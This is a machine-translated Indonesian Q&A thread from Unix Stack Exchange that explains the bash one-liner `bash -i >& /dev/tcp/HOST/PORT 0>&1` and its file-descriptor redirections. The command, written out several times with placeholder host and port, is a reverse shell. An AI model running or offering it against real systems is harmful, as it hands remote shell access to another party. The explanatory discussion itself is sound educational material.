Arti bash -i> & / dev / tcp / HOST / PORT 0> & 1?

15

Saya mencoba

bash -i >& /dev/tcp/HOST/PORT 0>&1

tetapi tampaknya tidak berfungsi di balik firewall. Apa yang sebenarnya dilakukan kode ini, port mana yang diteruskan dan bisakah ia bekerja di belakang firewall?

Helos
sumber

Jawaban:

17

Cuplikan ini menjalankan instance interaktif baru dari bash ( bash -i), pada koneksi TCP ke port yang ditentukan pada host tertentu yang dibuat selama durasi proses bash. Output standar dan standard error dikirim melalui koneksi ini ( >& /dev/tcp/HOST/PORT), dan input standar dibaca melalui koneksi ini ( 0>&1- ini harus 0<&1tapi 0>&1bekerja terlalu).

Tidak ada penerusan port yang terjadi. Jelas, semacam server TCP harus mendengarkan dan menerima koneksi pada HOST: PORT, dan firewall harus membiarkan koneksi melewatinya.

Gilles 'SANGAT berhenti menjadi jahat'
sumber
Apa koneksi '/ dev / tcp / HOST / PORT' Di mana host didefinisikan dan di mana port didefinisikan?
Helos
2
@Helos Apakah Anda benar-benar melihat /dev/tcp/HOST/PORT? Saya berasumsi bahwa Anda telah mengganti nama dengan HOSTdan nomor dengan PORT. Kalau tidak, Anda akan mendapatkan pesan kesalahan dari bash. Karena Anda tidak menyebutkan pesan kesalahan, saya berasumsi bahwa Anda tidak melihatnya.
Gilles 'SO- stop being evil'
1
@ Gilles, aku tidak bisa mencerna 0<&1bagian itu. Saya membacanya sebagai 'take bash stdout ( &1) dan pipa itu menjadi bash stdin ( 0)', yang masuk akal. Bisakah Anda jelaskan cara kerja bagian ini?
golem
5
@ golem Ini adalah pengalihan. Tidak ada pipa yang terlibat. 0<&1berarti menghubungkan apa pun yang saat ini dibuka pada file deskriptor 1 ke file deskriptor 0. Karena pengalihan sebelumnya >& /dev/tcp/HOST/PORTterhubung fd 1 (default untuk redirection output) untuk /dev/tcp/HOST/PORT, yaitu membuka soket TCP, ini menggandakan koneksi TCP ke file deskriptor 0 (yaitu soket yang sama sekarang juga terbuka pada fd 0, ini berbeda dari 0 </ dev / tcp / HOST / PORT yang akan membuka soket yang berbeda ke server yang sama).
Gilles 'SANGAT berhenti menjadi jahat'
Menghubungkan adalah kata kunci untuk pemahaman saya; menyebut proses perpipaan memang membingungkan saya.
golem